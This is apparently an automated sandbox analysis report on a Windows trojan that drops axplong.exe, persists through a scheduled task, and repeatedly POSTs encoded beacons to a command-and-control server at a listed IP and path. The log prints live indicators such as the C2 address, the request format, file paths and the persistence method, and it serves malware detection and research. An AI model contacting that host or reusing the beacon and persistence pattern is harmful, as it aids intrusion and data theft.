                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                    Source: Joe Sandbox ViewIP Address: 185.215.113.16 185.215.113.16
                    Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D1BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,7_2_00D1BD60
                    Source: unknownHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000007.00000002.2783076434.0000000000B27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php0
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php7
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpBg1&cm
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpG
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpN
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpO
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpS
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpcoded9
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdeds
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpj
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpk
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpl
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodeda
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phps
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpw

                    System Summary

                    barindex
                    PE file contains section with special chars
                    Source: file.exeStatic PE information: section name:
                    Source: file.exeStatic PE information: section name: .idata
                    Source: file.exeStatic PE information: section name:
                    Source: axplong.exe.0.drStatic PE information: section name:
                    Source: axplong.exe.0.drStatic PE information: section name: .idata
                    Source: axplong.exe.0.drStatic PE information: section name:
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess Stats: CPU usage > 49%
                    Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\axplong.jobJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D14CF07_2_00D14CF0
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D1E4407_2_00D1E440
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D530687_2_00D53068
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D47D837_2_00D47D83
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D14AF07_2_00D14AF0
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D5765B7_2_00D5765B
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D52BD07_2_00D52BD0
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D5777B7_2_00D5777B
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D56F097_2_00D56F09
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D587207_2_00D58720
                    Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                    Source: file.exeStatic PE information: Section: ZLIB complexity 0.9973284230245232
                    Source: file.exeStatic PE information: Section: mrrxutca ZLIB complexity 0.9943481083086053
                    Source: axplong.exe.0.drStatic PE information: Section: ZLIB complexity 0.9973284230245232
                    Source: axplong.exe.0.drStatic PE information: Section: mrrxutca ZLIB complexity 0.9943481083086053
                    Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@5/3@0/1
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeMutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
                    Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\44111dbc49Jump to behavior
                    Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\desktop.iniJump to behavior
                    Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                    Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                    Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                    Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                    Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                    Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
                    Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                    Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                    Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: mstask.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: dui70.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: duser.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: chartv.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: oleacc.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: atlthunk.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: wtsapi32.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: winsta.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: textshaping.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: explorerframe.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
